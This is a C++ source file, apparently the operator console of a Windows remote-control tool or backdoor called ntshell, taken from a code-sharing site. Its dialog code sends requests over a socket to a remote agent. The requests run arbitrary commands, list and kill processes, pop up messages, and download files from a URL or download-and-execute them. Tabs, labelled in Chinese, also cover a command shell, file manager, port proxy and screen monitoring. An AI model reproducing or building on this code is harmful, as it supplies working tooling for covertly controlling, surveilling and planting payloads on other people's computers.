www.pudn.com > ntshell.rar > consoleview.cpp
// consoleView.cpp : implementation of the CConsoleView class // ///////////////////////////////////////////////////////////////////////////// #include "stdafx.h" #include "resource.h" #include "common.h" #include "ntshell.h" #include "sockmgr1.h" #include "cmdshell.h" #include "filemgr.h" #include "portproxy.h" #include "procmgr.h" #include "screenview.h" #include "inputdlg.h" #include "consoleView.h" class CConsole : public CDialogImpl, public CSockMgr { public: enum { IDD = IDD_CONSOLE }; BEGIN_MSG_MAP(CConsole) MESSAGE_HANDLER(WM_INITDIALOG, OnInitDialog) // MESSAGE_HANDLER(WM_SIZE, OnSize) COMMAND_CODE_HANDLER(BN_CLICKED, OnButtonClicked) MESSAGE_HANDLER(WM_CONNECT_CREATED, OnConnectCreated) MESSAGE_HANDLER(WM_CONNECT_CLOSED, OnConnectClosed) MESSAGE_HANDLER(WM_SOCKET_READ, OnSocketRead) MESSAGE_HANDLER(WM_SOCKET_WRITE, OnSocketWrite) END_MSG_MAP() // Handler prototypes (uncomment arguments if needed): // LRESULT MessageHandler(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/) // LRESULT CommandHandler(WORD /*wNotifyCode*/, WORD /*wID*/, HWND /*hWndCtl*/, BOOL& /*bHandled*/) // LRESULT NotifyHandler(int /*idCtrl*/, LPNMHDR /*pnmh*/, BOOL& /*bHandled*/) LRESULT OnInitDialog(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM lParam, BOOL& /*bHandled*/); LRESULT OnSize(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM lParam, BOOL& /*bHandled*/); LRESULT OnButtonClicked(int /*code*/, int /*id*/, HWND /*hWnd*/, BOOL& /*bHandled*/); LRESULT OnConnectCreated(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/); LRESULT OnConnectClosed(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/); LRESULT OnSocketRead(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/); LRESULT OnSocketWrite(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/); }; LRESULT CConsole::OnInitDialog(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM lParam, BOOL& /*bHandled*/) { CheckRadioButton(IDC_RADIO1, IDC_RADIO2, IDC_RADIO1); CheckRadioButton(IDC_RADIO3, IDC_RADIO5, IDC_RADIO3); SetDlgItemInt(IDC_TIMEOUT, 1000, FALSE); return TRUE; } LRESULT CConsole::OnButtonClicked(int /*code*/, int id, HWND /*hWnd*/, BOOL& /*bHandled*/) { NTSHELL_REQUEST req; CONSOLE_MESSAGESEND ms; CONSOLE_PROCESSKILL pk; CONSOLE_EXECUTE e; CONSOLE_FILEDOWNLOAD fd; int msglen; char buf[MAX_PATH], *msg; switch (id) { case IDC_RADIO1: case IDC_RADIO2: CheckRadioButton(IDC_RADIO1, IDC_RADIO2, id); return TRUE; case IDC_RADIO3: case IDC_RADIO4: case IDC_RADIO5: CheckRadioButton(IDC_RADIO3, IDC_RADIO5, id); return TRUE; case IDC_CLEANUPLOG: int l = ::GetWindowTextLength(GetDlgItem(IDC_LOG)); SendMessage(GetDlgItem(IDC_LOG), EM_SETSEL, 0, l); SendMessage(GetDlgItem(IDC_LOG), EM_REPLACESEL, FALSE, (LPARAM)""); return TRUE; } switch (id) { case IDC_SENDMSG: req.ClientVersion = 1; req.Reserved = 0; req.RequestClass = CONSOLE_SENDMESSAGE; req.Reserved2 = 0; ms.DisplayMethod = IsDlgButtonChecked(IDC_RADIO1) == BST_CHECKED ? 0 : 1; msglen = ::GetWindowTextLength(GetDlgItem(IDC_MESSAGE)) + 1; msg = (char *)HeapAlloc(GetProcessHeap(), 0, msglen); ::GetWindowText(GetDlgItem(IDC_MESSAGE), msg, msglen); WriteBuffer((char *)&req, sizeof(NTSHELL_REQUEST)); WriteBuffer((char *)&ms, sizeof(CONSOLE_MESSAGESEND)); WriteBuffer((char *)msg, msglen); HeapFree(GetProcessHeap(), 0, msg); break; case IDC_LISTPROCESS: req.ClientVersion = 1; req.Reserved = 0; req.RequestClass = CONSOLE_LISTPROCESS; req.Reserved2 = 0; WriteBuffer((char *)&req, sizeof(NTSHELL_REQUEST)); break; case IDC_KILLPROCESS: req.ClientVersion = 1; req.Reserved = 0; req.RequestClass = CONSOLE_KILLPROCESS; req.Reserved2 = 0; { CInputDlg dlg; TCHAR pid[INPUT_BUFFER_SIZE] = "";; if (dlg.DoModal(m_hWnd, (LPARAM)pid) == FALSE) return 0; pk.ProcessId = _ttoi(pid); } WriteBuffer((char *)&req, sizeof(NTSHELL_REQUEST)); WriteBuffer((char *)&pk, sizeof(CONSOLE_PROCESSKILL)); break; case IDC_EXECUTE: req.ClientVersion = 1; req.Reserved = 0; req.RequestClass = IsDlgButtonChecked(IDC_RADIO3) == BST_CHECKED ? CONSOLE_EXECUTE_1 : CONSOLE_EXECUTE_2; req.Reserved2 = 0; e.TimeOut = GetDlgItemInt(IDC_TIMEOUT, NULL, FALSE); e.ShowResult = IsDlgButtonChecked(IDC_RADIO5) == BST_CHECKED ? 0 : 1; GetDlgItemText(IDC_COMMAND, buf, MAX_PATH); WriteBuffer((char *)&req, sizeof(NTSHELL_REQUEST)); WriteBuffer((char *)&e, sizeof(CONSOLE_EXECUTE)); WriteBuffer(buf, strlen(buf) + 1); break; case IDC_DOWNLOAD: req.ClientVersion = 1; req.Reserved = 0; req.RequestClass = CONSOLE_DOWNLOADFILE; req.Reserved2 = 0; fd.RunIt = FALSE; GetDlgItemText(IDC_URL, fd.Url, sizeof(fd.Url)); GetDlgItemText(IDC_SAVEPATH, fd.SavePath, sizeof(fd.SavePath)); WriteBuffer((char *)&req, sizeof(NTSHELL_REQUEST)); WriteBuffer((char *)&fd, sizeof(CONSOLE_FILEDOWNLOAD)); break; case IDC_DOWNLOADADNEXECUTE: req.ClientVersion = 1; req.Reserved = 0; req.RequestClass = CONSOLE_DOWNLOADFILE; req.Reserved2 = 0; fd.RunIt = TRUE; GetDlgItemText(IDC_URL, fd.Url, sizeof(fd.Url)); GetDlgItemText(IDC_SAVEPATH, fd.SavePath, sizeof(fd.SavePath)); WriteBuffer((char *)&req, sizeof(NTSHELL_REQUEST)); WriteBuffer((char *)&fd, sizeof(CONSOLE_FILEDOWNLOAD)); break; } FlushBuffer(); if (SendPack() == SOCKMGR_SOCK_FAILED) MessageBox("连接不可用", "错误", MB_ICONERROR); return TRUE; } LRESULT CConsole::OnConnectCreated(UINT /*uMsg*/, WPARAM wParam, LPARAM /*lParam*/, BOOL& bHandled) { SetSocket((SOCKET)wParam); return 0; } LRESULT CConsole::OnConnectClosed(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& bHandled) { SetSocket(INVALID_SOCKET); return 0; } LRESULT CConsole::OnSocketRead(UINT /*uMsg*/, WPARAM wParam, LPARAM lParam, BOOL& /*bHandled*/) { int ret = RecvPack(); if (ret == SOCKMGR_PENDING) return 0; if (ret == SOCKMGR_SOCK_FAILED) { char *p = GetErrorString(); MessageBox(p, "", MB_ICONERROR); LocalFree(p); } if (ret == SOCKMGR_SUCCESS) { ULONG nDataSize = GetBufferDataSize(); PBYTE pData = (PBYTE)HeapAlloc(GetProcessHeap(), 0, nDataSize); if (pData != NULL) { ReadBuffer((char *)pData, nDataSize); int l = ::GetWindowTextLength(GetDlgItem(IDC_LOG)); SendMessage(GetDlgItem(IDC_LOG), EM_SETSEL, l, l); SendMessage(GetDlgItem(IDC_LOG), EM_REPLACESEL, FALSE, (LPARAM)pData); HeapFree(GetProcessHeap(), 0, pData); } } return 0; } LRESULT CConsole::OnSocketWrite(UINT /*uMsg*/, WPARAM wParam, LPARAM lParam, BOOL& /*bHandled*/) { int ret = SendPack(); if (ret == SOCKMGR_SOCK_FAILED) { char *p = GetErrorString(); MessageBox(p, "", MB_ICONERROR); LocalFree(p); } return 0; } CConsoleView::CConsoleView() { m_shell = new CCmdShell(); m_file = new CFileMgr(); m_proxy = new CPortProxy(); m_console = new CConsole(); m_screen = new CScreenView(); m_process = new CProcMgr(); } CConsoleView::~CConsoleView() { delete m_shell; delete m_file; delete m_proxy; delete m_console; delete m_screen; delete m_process; } BOOL CConsoleView::PreTranslateMessage(MSG* pMsg) { if (m_shell->IsDialogMessage(pMsg) || m_file->IsDialogMessage(pMsg) || m_proxy->IsDialogMessage(pMsg) || m_console->IsDialogMessage(pMsg) || m_screen->IsDialogMessage(pMsg) || m_process->IsDialogMessage(pMsg)) return TRUE; return FALSE; } void CConsoleView::InitView(LPVOID lpParam) { m_shell->Create(m_hWnd, (LPARAM)lpParam); m_file->Create(m_hWnd, (LPARAM)lpParam); m_proxy->Create(m_hWnd, (LPARAM)lpParam); m_console->Create(m_hWnd, (LPARAM)lpParam); m_screen->Create(m_hWnd, (LPARAM)lpParam); m_process->Create(m_hWnd, (LPARAM)lpParam); CFont font = m_shell->GetFont(); SetFont(font); font.Detach(); TCITEM tci; tci.mask = TCIF_TEXT; tci.pszText = "控制台"; tci.cchTextMax = 6; InsertItem(0, &tci); tci.pszText = "命令行"; tci.cchTextMax = 6; InsertItem(1, &tci); tci.pszText = "进程"; tci.cchTextMax = 4; InsertItem(2, &tci); tci.pszText = "文件"; tci.cchTextMax = 4; InsertItem(3, &tci); tci.pszText = "端口代理"; tci.cchTextMax = 8; InsertItem(4, &tci); tci.pszText = "屏幕监视"; tci.cchTextMax = 8; InsertItem(5, &tci); SetCurFocus(3); } LRESULT CConsoleView::OnSize(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM lParam, BOOL& bHandled) { bHandled = FALSE; RECT rc, itemrc; GetClientRect(&rc); CTabCtrl::GetItemRect(0, &itemrc); int x = rc.left + 2; int y = rc.top + itemrc.bottom + 2; int width = LOWORD(lParam) - x - 2; int height = HIWORD(lParam) - y - 2; if (m_console->IsWindow()) m_console->MoveWindow(x, y, width, height); if (m_shell->IsWindow()) m_shell->MoveWindow(x, y, width, height); if (m_file->IsWindow()) m_file->MoveWindow(x, y, width, height); if (m_proxy->IsWindow()) m_proxy->MoveWindow(x, y, width, height); if (m_screen->IsWindow()) m_screen->MoveWindow(x, y, width, height); if (m_process->IsWindow()) m_process->MoveWindow(x, y, width, height); return 0; } LRESULT CConsoleView::OnNotify(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM lParam, BOOL& bHandled) { switch (((LPNMHDR)lParam)->code) { case TCN_SELCHANGE: switch (GetCurSel()) { case 0: m_console->ShowWindow(SW_SHOW); m_shell->ShowWindow(SW_HIDE); m_file->ShowWindow(SW_HIDE); m_proxy->ShowWindow(SW_HIDE); m_screen->ShowWindow(SW_HIDE); m_process->ShowWindow(SW_HIDE); m_console->SetFocus(); break; case 1: m_console->ShowWindow(SW_HIDE); m_shell->ShowWindow(SW_SHOW); m_file->ShowWindow(SW_HIDE); m_proxy->ShowWindow(SW_HIDE); m_screen->ShowWindow(SW_HIDE); m_process->ShowWindow(SW_HIDE); m_shell->SetFocus(); break; case 2: m_console->ShowWindow(SW_HIDE); m_shell->ShowWindow(SW_HIDE); m_file->ShowWindow(SW_HIDE); m_proxy->ShowWindow(SW_HIDE); m_screen->ShowWindow(SW_HIDE); m_process->ShowWindow(SW_SHOW); m_process->SetFocus(); break; case 3: m_console->ShowWindow(SW_HIDE); m_shell->ShowWindow(SW_HIDE); m_file->ShowWindow(SW_SHOW); m_proxy->ShowWindow(SW_HIDE); m_screen->ShowWindow(SW_HIDE); m_process->ShowWindow(SW_HIDE); m_file->SetFocus(); break; case 4: m_console->ShowWindow(SW_HIDE); m_shell->ShowWindow(SW_HIDE); m_file->ShowWindow(SW_HIDE); m_proxy->ShowWindow(SW_SHOW); m_screen->ShowWindow(SW_HIDE); m_process->ShowWindow(SW_HIDE); m_proxy->SetFocus(); break; case 5: m_console->ShowWindow(SW_HIDE); m_shell->ShowWindow(SW_HIDE); m_file->ShowWindow(SW_HIDE); m_proxy->ShowWindow(SW_HIDE); m_screen->ShowWindow(SW_SHOW); m_process->ShowWindow(SW_HIDE); m_screen->SetFocus(); break; } break; } return 0; } HWND CConsoleView::GetSubWnd(int nSubWnd) { switch (nSubWnd) { case 0: return m_console->m_hWnd; case 1: return m_shell->m_hWnd; case 2: return m_process->m_hWnd; case 3: return m_file->m_hWnd; case 4: return m_proxy->m_hWnd; case 5: return m_screen->m_hWnd; } return NULL; }